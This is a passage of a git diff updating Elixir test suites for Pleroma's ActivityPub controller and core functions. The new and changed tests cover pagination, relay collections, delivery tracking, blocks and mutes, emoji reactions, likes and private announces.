+ |> get("/users/#{user.nickname}/inbox")
+
+ assert json_response(conn, 403)
+ end
+
test "it returns a note activity in a collection", %{conn: conn} do
note_activity = insert(:direct_note_activity)
note_object = Object.normalize(note_activity)
@@ -329,7 +510,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
conn
|> assign(:user, user)
|> put_req_header("accept", "application/activity+json")
- |> get("/users/#{user.nickname}/inbox")
+ |> get("/users/#{user.nickname}/inbox?page=true")
assert response(conn, 200) =~ note_object.data["content"]
end
@@ -382,6 +563,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> post("/users/#{recipient.nickname}/inbox", data)
|> json_response(200)
+ ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
+
activity = Activity.get_by_ap_id(data["id"])
assert activity.id
@@ -415,7 +598,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
conn =
conn
|> put_req_header("accept", "application/activity+json")
- |> get("/users/#{user.nickname}/outbox")
+ |> get("/users/#{user.nickname}/outbox?page=true")
assert response(conn, 200) =~ note_object.data["content"]
end
@@ -427,7 +610,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
conn =
conn
|> put_req_header("accept", "application/activity+json")
- |> get("/users/#{user.nickname}/outbox")
+ |> get("/users/#{user.nickname}/outbox?page=true")
assert response(conn, 200) =~ announce_activity.data["object"]
end
@@ -457,6 +640,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> post("/users/#{user.nickname}/outbox", data)
result = json_response(conn, 201)
+
assert Activity.get_by_ap_id(result["id"])
end
@@ -549,6 +733,34 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
end
end
+ describe "/relay/followers" do
+ test "it returns relay followers", %{conn: conn} do
+ relay_actor = Relay.get_actor()
+ user = insert(:user)
+ User.follow(user, relay_actor)
+
+ result =
+ conn
+ |> assign(:relay, true)
+ |> get("/relay/followers")
+ |> json_response(200)
+
+ assert result["first"]["orderedItems"] == [user.ap_id]
+ end
+ end
+
+ describe "/relay/following" do
+ test "it returns relay following", %{conn: conn} do
+ result =
+ conn
+ |> assign(:relay, true)
+ |> get("/relay/following")
+ |> json_response(200)
+
+ assert result["first"]["orderedItems"] == []
+ end
+ end
+
describe "/users/:nickname/followers" do
test "it returns the followers in a collection", %{conn: conn} do
user = insert(:user)
@@ -565,7 +777,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
test "it returns returns a uri if the user has 'hide_followers' set", %{conn: conn} do
user = insert(:user)
- user_two = insert(:user, %{info: %{hide_followers: true}})
+ user_two = insert(:user, hide_followers: true)
User.follow(user, user_two)
result =
@@ -578,7 +790,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
test "it returns a 403 error on pages, if the user has 'hide_followers' set and the request is not authenticated",
%{conn: conn} do
- user = insert(:user, %{info: %{hide_followers: true}})
+ user = insert(:user, hide_followers: true)
result =
conn
@@ -590,7 +802,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
test "it renders the page, if the user has 'hide_followers' set and the request is authenticated with the same user",
%{conn: conn} do
- user = insert(:user, %{info: %{hide_followers: true}})
+ user = insert(:user, hide_followers: true)
other_user = insert(:user)
{:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
@@ -646,7 +858,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
end
test "it returns a uri if the user has 'hide_follows' set", %{conn: conn} do
- user = insert(:user, %{info: %{hide_follows: true}})
+ user = insert(:user, hide_follows: true)
user_two = insert(:user)
User.follow(user, user_two)
@@ -660,7 +872,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
test "it returns a 403 error on pages, if the user has 'hide_follows' set and the request is not authenticated",
%{conn: conn} do
- user = insert(:user, %{info: %{hide_follows: true}})
+ user = insert(:user, hide_follows: true)
result =
conn
@@ -672,7 +884,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
test "it renders the page, if the user has 'hide_follows' set and the request is authenticated with the same user",
%{conn: conn} do
- user = insert(:user, %{info: %{hide_follows: true}})
+ user = insert(:user, hide_follows: true)
other_user = insert(:user)
{:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user)
@@ -713,4 +925,126 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
assert result["totalItems"] == 15
end
end
+
+ describe "delivery tracking" do
+ test "it tracks a signed object fetch", %{conn: conn} do
+ user = insert(:user, local: false)
+ activity = insert(:note_activity)
+ object = Object.normalize(activity)
+
+ object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url())
+
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, user)
+ |> get(object_path)
+ |> json_response(200)
+
+ assert Delivery.get(object.id, user.id)
+ end
+
+ test "it tracks a signed activity fetch", %{conn: conn} do
+ user = insert(:user, local: false)
+ activity = insert(:note_activity)
+ object = Object.normalize(activity)
+
+ activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url())
+
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, user)
+ |> get(activity_path)
+ |> json_response(200)
+
+ assert Delivery.get(object.id, user.id)
+ end
+
+ test "it tracks a signed object fetch when the json is cached", %{conn: conn} do
+ user = insert(:user, local: false)
+ other_user = insert(:user, local: false)
+ activity = insert(:note_activity)
+ object = Object.normalize(activity)
+
+ object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url())
+
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, user)
+ |> get(object_path)
+ |> json_response(200)
+
+ build_conn()
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, other_user)
+ |> get(object_path)
+ |> json_response(200)
+
+ assert Delivery.get(object.id, user.id)
+ assert Delivery.get(object.id, other_user.id)
+ end
+
+ test "it tracks a signed activity fetch when the json is cached", %{conn: conn} do
+ user = insert(:user, local: false)
+ other_user = insert(:user, local: false)
+ activity = insert(:note_activity)
+ object = Object.normalize(activity)
+
+ activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url())
+
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, user)
+ |> get(activity_path)
+ |> json_response(200)
+
+ build_conn()
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, other_user)
+ |> get(activity_path)
+ |> json_response(200)
+
+ assert Delivery.get(object.id, user.id)
+ assert Delivery.get(object.id, other_user.id)
+ end
+ end
+
+ describe "Additionnal ActivityPub C2S endpoints" do
+ test "/api/ap/whoami", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/ap/whoami")
+
+ user = User.get_cached_by_id(user.id)
+
+ assert UserView.render("user.json", %{user: user}) == json_response(conn, 200)
+ end
+
+ clear_config([:media_proxy])
+ clear_config([Pleroma.Upload])
+
+ test "uploadMedia", %{conn: conn} do
+ user = insert(:user)
+
+ desc = "Description of the image"
+
+ image = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/ap/upload_media", %{"file" => image, "description" => desc})
+
+ assert object = json_response(conn, :created)
+ assert object["name"] == desc
+ assert object["type"] == "Document"
+ assert object["actor"] == user.ap_id
+ end
+ end
end
diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs
index 00adbc0f9..ff4604a52 100644
--- a/test/web/activity_pub/activity_pub_test.exs
+++ b/test/web/activity_pub/activity_pub_test.exs
@@ -4,14 +4,16 @@
defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
use Pleroma.DataCase
+ use Oban.Testing, repo: Pleroma.Repo
+
alias Pleroma.Activity
alias Pleroma.Builders.ActivityBuilder
- alias Pleroma.Instances
+ alias Pleroma.Notification
alias Pleroma.Object
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ActivityPub
- alias Pleroma.Web.ActivityPub.Publisher
alias Pleroma.Web.ActivityPub.Utils
+ alias Pleroma.Web.AdminAPI.AccountView
alias Pleroma.Web.CommonAPI
import Pleroma.Factory
@@ -23,6 +25,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
:ok
end
+ clear_config([:instance, :federating])
+
describe "streaming out participations" do
test "it streams them out" do
user = insert(:user)
@@ -38,9 +42,28 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
stream: fn _, _ -> nil end do
ActivityPub.stream_out_participations(conversation.participations)
- Enum.each(participations, fn participation ->
- assert called(Pleroma.Web.Streamer.stream("participation", participation))
- end)
+ assert called(Pleroma.Web.Streamer.stream("participation", participations))
+ end
+ end
+
+ test "streams them out on activity creation" do
+ user_one = insert(:user)
+ user_two = insert(:user)
+
+ with_mock Pleroma.Web.Streamer,
+ stream: fn _, _ -> nil end do
+ {:ok, activity} =
+ CommonAPI.post(user_one, %{
+ "status" => "@#{user_two.nickname}",
+ "visibility" => "direct"
+ })
+
+ conversation =
+ activity.data["context"]
+ |> Pleroma.Conversation.get_for_ap_id()
+ |> Repo.preload(participations: :user)
+
+ assert called(Pleroma.Web.Streamer.stream("participation", conversation.participations))
end
end
end
@@ -89,17 +112,83 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
end
end
+ describe "fetching excluded by visibility" do
+ test "it excludes by the appropriate visibility" do
+ user = insert(:user)
+
+ {:ok, public_activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "public"})
+
+ {:ok, direct_activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "direct"})
+
+ {:ok, unlisted_activity} =
+ CommonAPI.post(user, %{"status" => ".", "visibility" => "unlisted"})
+
+ {:ok, private_activity} =
+ CommonAPI.post(user, %{"status" => ".", "visibility" => "private"})
+
+ activities =
+ ActivityPub.fetch_activities([], %{
+ "exclude_visibilities" => "direct",
+ "actor_id" => user.ap_id
+ })
+
+ assert public_activity in activities
+ assert unlisted_activity in activities
+ assert private_activity in activities
+ refute direct_activity in activities
+
+ activities =
+ ActivityPub.fetch_activities([], %{
+ "exclude_visibilities" => "unlisted",
+ "actor_id" => user.ap_id
+ })
+
+ assert public_activity in activities
+ refute unlisted_activity in activities
+ assert private_activity in activities
+ assert direct_activity in activities
+
+ activities =
+ ActivityPub.fetch_activities([], %{
+ "exclude_visibilities" => "private",
+ "actor_id" => user.ap_id
+ })
+
+ assert public_activity in activities
+ assert unlisted_activity in activities
+ refute private_activity in activities
+ assert direct_activity in activities
+
+ activities =
+ ActivityPub.fetch_activities([], %{
+ "exclude_visibilities" => "public",
+ "actor_id" => user.ap_id
+ })
+
+ refute public_activity in activities
+ assert unlisted_activity in activities
+ assert private_activity in activities
+ assert direct_activity in activities
+ end
+ end
+
describe "building a user from his ap id" do
test "it returns a user" do
user_id = "http://mastodon.example.org/users/admin"
{:ok, user} = ActivityPub.make_user_from_ap_id(user_id)
assert user.ap_id == user_id
assert user.nickname == "admin@mastodon.example.org"
- assert user.info.source_data
- assert user.info.ap_enabled
+ assert user.source_data
+ assert user.ap_enabled
assert user.follower_address == "http://mastodon.example.org/users/admin/followers"
end
+ test "it returns a user that is invisible" do
+ user_id = "http://mastodon.example.org/users/relay"
+ {:ok, user} = ActivityPub.make_user_from_ap_id(user_id)
+ assert User.invisible?(user)
+ end
+
test "it fetches the appropriate tag-restricted posts" do
user = insert(:user)
@@ -259,6 +348,42 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
end
end
+ describe "listen activities" do
+ test "does not increase user note count" do
+ user = insert(:user)
+
+ {:ok, activity} =
+ ActivityPub.listen(%{
+ to: ["https://www.w3.org/ns/activitystreams#Public"],
+ actor: user,
+ context: "",
+ object: %{
+ "actor" => user.ap_id,
+ "to" => ["https://www.w3.org/ns/activitystreams#Public"],
+ "artist" => "lain",
+ "title" => "lain radio episode 1",
+ "length" => 180_000,
+ "type" => "Audio"
+ }
+ })
+
+ assert activity.actor == user.ap_id
+
+ user = User.get_cached_by_id(user.id)
+ assert user.note_count == 0
+ end
+
+ test "can be fetched into a timeline" do
+ _listen_activity_1 = insert(:listen)
+ _listen_activity_2 = insert(:listen)
+ _listen_activity_3 = insert(:listen)
+
+ timeline = ActivityPub.fetch_activities([], %{"type" => ["Listen"]})
+
+ assert length(timeline) == 3
+ end
+ end
+
describe "create activities" do
test "removes doubled 'to' recipients" do
user = insert(:user)
@@ -308,7 +433,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
})
user = User.get_cached_by_id(user.id)
- assert user.info.note_count == 2
+ assert user.note_count == 2
end
test "increases replies count" do
@@ -362,7 +487,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
activity_five = insert(:note_activity)
user = insert(:user)
- {:ok, user} = User.block(user, %{ap_id: activity_five.data["actor"]})
+ {:ok, _user_relationship} = User.block(user, %{ap_id: activity_five.data["actor"]})
activities = ActivityPub.fetch_activities_for_context("2hu", %{"blocking_user" => user})
assert activities == [activity_two, activity]
@@ -375,7 +500,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
activity_three = insert(:note_activity)
user = insert(:user)
booster = insert(:user)
- {:ok, user} = User.block(user, %{ap_id: activity_one.data["actor"]})
+ {:ok, _user_relationship} = User.block(user, %{ap_id: activity_one.data["actor"]})
activities =
ActivityPub.fetch_activities([], %{"blocking_user" => user, "skip_preload" => true})
@@ -384,7 +509,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
assert Enum.member?(activities, activity_three)
refute Enum.member?(activities, activity_one)
- {:ok, user} = User.unblock(user, %{ap_id: activity_one.data["actor"]})
+ {:ok, _user_block} = User.unblock(user, %{ap_id: activity_one.data["actor"]})
activities =
ActivityPub.fetch_activities([], %{"blocking_user" => user, "skip_preload" => true})
@@ -393,7 +518,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
assert Enum.member?(activities, activity_three)
assert Enum.member?(activities, activity_one)
- {:ok, user} = User.block(user, %{ap_id: activity_three.data["actor"]})
+ {:ok, _user_relationship} = User.block(user, %{ap_id: activity_three.data["actor"]})
{:ok, _announce, %{data: %{"id" => id}}} = CommonAPI.repeat(activity_three.id, booster)
%Activity{} = boost_activity = Activity.get_create_by_object_ap_id(id)
activity_three = Activity.get_by_id(activity_three.id)
@@ -420,7 +545,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
blockee = insert(:user)
friend = insert(:user)
- {:ok, blocker} = User.block(blocker, blockee)
+ {:ok, _user_relationship} = User.block(blocker, blockee)
{:ok, activity_one} = CommonAPI.post(friend, %{"status" => "hey!"})
@@ -443,7 +568,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
blockee = insert(:user)
friend = insert(:user)
- {:ok, blocker} = User.block(blocker, blockee)
+ {:ok, _user_relationship} = User.block(blocker, blockee)
{:ok, activity_one} = CommonAPI.post(friend, %{"status" => "hey!"})
@@ -483,13 +608,48 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
refute repeat_activity in activities
end
+ test "does return activities from followed users on blocked domains" do
+ domain = "meanies.social"
+ domain_user = insert(:user, %{ap_id: "https://#{domain}/@pundit"})
+ blocker = insert(:user)
+
+ {:ok, blocker} = User.follow(blocker, domain_user)
+ {:ok, blocker} = User.block_domain(blocker, domain)
+
+ assert User.following?(blocker, domain_user)
+ assert User.blocks_domain?(blocker, domain_user)
+ refute User.blocks?(blocker, domain_user)
+
+ note = insert(:note, %{data: %{"actor" => domain_user.ap_id}})
+ activity = insert(:note_activity, %{note: note})
+
+ activities =
+ ActivityPub.fetch_activities([], %{"blocking_user" => blocker, "skip_preload" => true})
+
+ assert activity in activities
+
+ # And check that if the guy we DO follow boosts someone else from their domain,
+ # that should be hidden
+ another_user = insert(:user, %{ap_id: "https://#{domain}/@meanie2"})
+ bad_note = insert(:note, %{data: %{"actor" => another_user.ap_id}})
+ bad_activity = insert(:note_activity, %{note: bad_note})
+ {:ok, repeat_activity, _} = CommonAPI.repeat(bad_activity.id, domain_user)
+
+ activities =
+ ActivityPub.fetch_activities([], %{"blocking_user" => blocker, "skip_preload" => true})
+
+ refute repeat_activity in activities
+ end
+
test "doesn't return muted activities" do
activity_one = insert(:note_activity)
activity_two = insert(:note_activity)
activity_three = insert(:note_activity)
user = insert(:user)
booster = insert(:user)
- {:ok, user} = User.mute(user, %User{ap_id: activity_one.data["actor"]})
+
+ activity_one_actor = User.get_by_ap_id(activity_one.data["actor"])
+ {:ok, _user_relationships} = User.mute(user, activity_one_actor)
activities =
ActivityPub.fetch_activities([], %{"muting_user" => user, "skip_preload" => true})
@@ -510,7 +670,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
assert Enum.member?(activities, activity_three)
assert Enum.member?(activities, activity_one)
- {:ok, user} = User.unmute(user, %User{ap_id: activity_one.data["actor"]})
+ {:ok, _user_mute} = User.unmute(user, activity_one_actor)
activities =
ActivityPub.fetch_activities([], %{"muting_user" => user, "skip_preload" => true})
@@ -519,7 +679,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
assert Enum.member?(activities, activity_three)
assert Enum.member?(activities, activity_one)
- {:ok, user} = User.mute(user, %User{ap_id: activity_three.data["actor"]})
+ activity_three_actor = User.get_by_ap_id(activity_three.data["actor"])
+ {:ok, _user_relationships} = User.mute(user, activity_three_actor)
{:ok, _announce, %{data: %{"id" => id}}} = CommonAPI.repeat(activity_three.id, booster)
%Activity{} = boost_activity = Activity.get_create_by_object_ap_id(id)
activity_three = Activity.get_by_id(activity_three.id)
@@ -540,6 +701,29 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
assert Enum.member?(activities, activity_one)
end
+ test "doesn't return thread muted activities" do
+ user = insert(:user)
+ _activity_one = insert(:note_activity)
+ note_two = insert(:note, data: %{"context" => "suya.."})
+ activity_two = insert(:note_activity, note: note_two)
+
+ {:ok, _activity_two} = CommonAPI.add_mute(user, activity_two)
+
+ assert [_activity_one] = ActivityPub.fetch_activities([], %{"muting_user" => user})
+ end
+
+ test "returns thread muted activities when with_muted is set" do
+ user = insert(:user)
+ _activity_one = insert(:note_activity)
+ note_two = insert(:note, data: %{"context" => "suya.."})
+ activity_two = insert(:note_activity, note: note_two)
+
+ {:ok, _activity_two} = CommonAPI.add_mute(user, activity_two)
+
+ assert [_activity_two, _activity_one] =
+ ActivityPub.fetch_activities([], %{"muting_user" => user, "with_muted" => true})
+ end
+
test "does include announces on request" do
activity_three = insert(:note_activity)
user = insert(:user)
@@ -549,7 +733,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
{:ok, announce, _object} = CommonAPI.repeat(activity_three.id, booster)
- [announce_activity] = ActivityPub.fetch_activities([user.ap_id | user.following])
+ [announce_activity] = ActivityPub.fetch_activities([user.ap_id | User.following(user)])
assert announce_activity.id == announce.id
end
@@ -589,48 +773,61 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
end
test "retrieves a maximum of 20 activities" do
- activities = ActivityBuilder.insert_list(30)
- last_expected = List.last(activities)
+ ActivityBuilder.insert_list(10)
+ expected_activities = ActivityBuilder.insert_list(20)
activities = ActivityPub.fetch_public_activities()
- last = List.last(activities)
+ assert collect_ids(activities) == collect_ids(expected_activities)
assert length(activities) == 20
- assert last == last_expected
end
test "retrieves ids starting from a since_id" do
activities = ActivityBuilder.insert_list(30)
- later_activities = ActivityBuilder.insert_list(10)
+ expected_activities = ActivityBuilder.insert_list(10)
since_id = List.last(activities).id
- last_expected = List.last(later_activities)
activities = ActivityPub.fetch_public_activities(%{"since_id" => since_id})
- last = List.last(activities)
+ assert collect_ids(activities) == collect_ids(expected_activities)
assert length(activities) == 10
- assert last == last_expected
end
test "retrieves ids up to max_id" do
- _first_activities = ActivityBuilder.insert_list(10)
- activities = ActivityBuilder.insert_list(20)
- later_activities = ActivityBuilder.insert_list(10)
- max_id = List.first(later_activities).id
- last_expected = List.last(activities)
+ ActivityBuilder.insert_list(10)
+ expected_activities = ActivityBuilder.insert_list(20)
+
+ %{id: max_id} =
+ 10
+ |> ActivityBuilder.insert_list()
+ |> List.first()
activities = ActivityPub.fetch_public_activities(%{"max_id" => max_id})
- last = List.last(activities)
assert length(activities) == 20
- assert last == last_expected
+ assert collect_ids(activities) == collect_ids(expected_activities)
+ end
+
+ test "paginates via offset/limit" do
+ _first_part_activities = ActivityBuilder.insert_list(10)
+ second_part_activities = ActivityBuilder.insert_list(10)
+
+ later_activities = ActivityBuilder.insert_list(10)
+
+ activities =
+ ActivityPub.fetch_public_activities(%{"page" => "2", "page_size" => "20"}, :offset)
+
+ assert length(activities) == 20
+
+ assert collect_ids(activities) ==
+ collect_ids(second_part_activities) ++ collect_ids(later_activities)
end
test "doesn't return reblogs for users for whom reblogs have been muted" do
activity = insert(:note_activity)
user = insert(:user)
booster = insert(:user)
- {:ok, user} = CommonAPI.hide_reblogs(user, booster)
+ {:ok, _reblog_mute} = CommonAPI.hide_reblogs(user, booster)
{:ok, activity, _} = CommonAPI.repeat(activity.id, booster)
@@ -643,8 +840,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
activity = insert(:note_activity)
user = insert(:user)
booster = insert(:user)
- {:ok, user} = CommonAPI.hide_reblogs(user, booster)
- {:ok, user} = CommonAPI.show_reblogs(user, booster)
+ {:ok, _reblog_mute} = CommonAPI.hide_reblogs(user, booster)
+ {:ok, _reblog_mute} = CommonAPI.show_reblogs(user, booster)
{:ok, activity, _} = CommonAPI.repeat(activity.id, booster)
@@ -654,7 +851,118 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
end
end
+ describe "react to an object" do
+ test_with_mock "sends an activity to federation", Pleroma.Web.Federator, [:passthrough], [] do
+ Pleroma.Config.put([:instance, :federating], true)
+ user = insert(:user)
+ reactor = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "YASSSS queen slay"})
+ assert object = Object.normalize(activity)
+
+ {:ok, reaction_activity, _object} = ActivityPub.react_with_emoji(reactor, object, "🔥")
+
+ assert called(Pleroma.Web.Federator.publish(reaction_activity))
+ end
+
+ test "adds an emoji reaction activity to the db" do
+ user = insert(:user)
+ reactor = insert(:user)
+ third_user = insert(:user)
+ fourth_user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "YASSSS queen slay"})
+ assert object = Object.normalize(activity)
+
+ {:ok, reaction_activity, object} = ActivityPub.react_with_emoji(reactor, object, "🔥")
+
+ assert reaction_activity
+
+ assert reaction_activity.data["actor"] == reactor.ap_id
+ assert reaction_activity.data["type"] == "EmojiReaction"
+ assert reaction_activity.data["content"] == "🔥"
+ assert reaction_activity.data["object"] == object.data["id"]
+ assert reaction_activity.data["to"] == [User.ap_followers(reactor), activity.data["actor"]]
+ assert reaction_activity.data["context"] == object.data["context"]
+ assert object.data["reaction_count"] == 1
+ assert object.data["reactions"] == [["🔥", [reactor.ap_id]]]
+
+ {:ok, _reaction_activity, object} = ActivityPub.react_with_emoji(third_user, object, "☕")
+
+ assert object.data["reaction_count"] == 2
+ assert object.data["reactions"] == [["🔥", [reactor.ap_id]], ["☕", [third_user.ap_id]]]
+
+ {:ok, _reaction_activity, object} = ActivityPub.react_with_emoji(fourth_user, object, "🔥")
+
+ assert object.data["reaction_count"] == 3
+
+ assert object.data["reactions"] == [
+ ["🔥", [fourth_user.ap_id, reactor.ap_id]],
+ ["☕", [third_user.ap_id]]
+ ]
+ end
+ end
+
+ describe "unreacting to an object" do
+ test_with_mock "sends an activity to federation", Pleroma.Web.Federator, [:passthrough], [] do
+ Pleroma.Config.put([:instance, :federating], true)
+ user = insert(:user)
+ reactor = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "YASSSS queen slay"})
+ assert object = Object.normalize(activity)
+
+ {:ok, reaction_activity, _object} = ActivityPub.react_with_emoji(reactor, object, "🔥")
+
+ assert called(Pleroma.Web.Federator.publish(reaction_activity))
+
+ {:ok, unreaction_activity, _object} =
+ ActivityPub.unreact_with_emoji(reactor, reaction_activity.data["id"])
+
+ assert called(Pleroma.Web.Federator.publish(unreaction_activity))
+ end
+
+ test "adds an undo activity to the db" do
+ user = insert(:user)
+ reactor = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "YASSSS queen slay"})
+ assert object = Object.normalize(activity)
+
+ {:ok, reaction_activity, _object} = ActivityPub.react_with_emoji(reactor, object, "🔥")
+
+ {:ok, unreaction_activity, _object} =
+ ActivityPub.unreact_with_emoji(reactor, reaction_activity.data["id"])
+
+ assert unreaction_activity.actor == reactor.ap_id
+ assert unreaction_activity.data["object"] == reaction_activity.data["id"]
+
+ object = Object.get_by_ap_id(object.data["id"])
+ assert object.data["reaction_count"] == 0
+ assert object.data["reactions"] == []
+ end
+ end
+
describe "like an object" do
+ test_with_mock "sends an activity to federation", Pleroma.Web.Federator, [:passthrough], [] do
+ Pleroma.Config.put([:instance, :federating], true)
+ note_activity = insert(:note_activity)
+ assert object_activity = Object.normalize(note_activity)
+
+ user = insert(:user)
+
+ {:ok, like_activity, _object} = ActivityPub.like(user, object_activity)
+ assert called(Pleroma.Web.Federator.publish(like_activity))
+ end
+
+ test "returns exist activity if object already liked" do
+ note_activity = insert(:note_activity)
+ assert object_activity = Object.normalize(note_activity)
+
+ user = insert(:user)
+
+ {:ok, like_activity, _object} = ActivityPub.like(user, object_activity)
+
+ {:ok, like_activity_exist, _object} = ActivityPub.like(user, object_activity)
+ assert like_activity == like_activity_exist
+ end
+
test "adds a like activity to the db" do
note_activity = insert(:note_activity)
assert object = Object.normalize(note_activity)
@@ -679,18 +987,31 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
assert object.data["likes"] == [user.ap_id]
assert object.data["like_count"] == 1
- [note_activity] = Activity.get_all_create_by_object_ap_id(object.data["id"])
- assert note_activity.data["object"]["like_count"] == 1
-
{:ok, _like_activity, object} = ActivityPub.like(user_two, object)
assert object.data["like_count"] == 2
-
- [note_activity] = Activity.get_all_create_by_object_ap_id(object.data["id"])
- assert note_activity.data["object"]["like_count"] == 2
end
end
describe "unliking" do
+ test_with_mock "sends an activity to federation", Pleroma.Web.Federator, [:passthrough], [] do
+ Pleroma.Config.put([:instance, :federating], true)
+
+ note_activity = insert(:note_activity)
+ object = Object.normalize(note_activity)
+ user = insert(:user)
+
+ {:ok, object} = ActivityPub.unlike(user, object)
+ refute called(Pleroma.Web.Federator.publish())
+
+ {:ok, _like_activity, object} = ActivityPub.like(user, object)
+ assert object.data["like_count"] == 1
+
+ {:ok, unlike_activity, _, object} = ActivityPub.unlike(user, object)
+ assert object.data["like_count"] == 0
+
+ assert called(Pleroma.Web.Federator.publish(unlike_activity))
+ end
+
test "unliking a previously liked object" do
note_activity = insert(:note_activity)
object = Object.normalize(note_activity)
@@ -703,10 +1024,11 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
{:ok, like_activity, object} = ActivityPub.like(user, object)
assert object.data["like_count"] == 1
- {:ok, _, _, object} = ActivityPub.unlike(user, object)
+ {:ok, unlike_activity, _, object} = ActivityPub.unlike(user, object)
assert object.data["like_count"] == 0
assert Activity.get_by_id(like_activity.id) == nil
+ assert note_activity.actor in unlike_activity.recipients
end
end
@@ -731,6 +1053,39 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
end
end
+ describe "announcing a private object" do
+ test "adds an announce activity to the db if the audience is not widened" do
+ user = insert(:user)
+ {:ok, note_activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "private"})
+ object = Object.normalize(note_activity)
+
+ {:ok, announce_activity, object} = ActivityPub.announce(user, object, nil, true, false)
+
+ assert announce_activity.data["to"] == [User.ap_followers(user)]
+
+ assert announce_activity.data["object"] == object.data["id"]
+ assert announce_activity.data["actor"] == user.ap_id
+ assert announce_activity.data["context"] == object.data["context"]
+ end
+
+ test "does not add an announce activity to the db if the audience is widened" do
+ user = insert(:user)
+ {:ok, note_activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "private"})
+ object = Object.normalize(note_activity)
+
+ assert {:error, _} = ActivityPub.announce(user, object, nil, true, true)
+ end
+
+ test "does not add an announce activity to the db if the announcer is not the author" do
+ user = insert(:user)
+ announcer = insert(:user)
+ {:ok, note_activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "private"})
+ object = Object.normalize(note_activity)
+
+ assert {:error, _} = ActivityPub.announce(announcer, object, nil, true, false)
+ end
+ end
+
describe "unannouncing an object" do
test "unannouncing a previously announced object" do
note_activity = insert(:note_activity)
@@ -749,7 +1104,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
assert unannounce_activity.data["to"] == [
User.ap_followers(user),
- announce_activity.data["actor"]
+ object.data["actor"]
]
assert unannounce_activity.data["type"] == "Undo"
@@ -867,7 +1222,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
end
test "decrements user note count only for public activities" do
- user = insert(:user, info: %{note_count: 10})
+ user = insert(:user, note_count: 10)
{:ok, a1} =
CommonAPI.post(User.get_cached_by_id(user.id), %{
@@ -899,7 +1254,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
{:ok, _} = Object.normalize(a4) |> ActivityPub.delete()
user = User.get_cached_by_id(user.id)
- assert user.info.note_count == 10
+ assert user.note_count == 10
end
test "it creates a delete activity and checks that it is also sent to users mentioned by the deleted object" do
@@ -953,6 +1308,21 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
assert object.data["repliesCount"] == 0
end
+
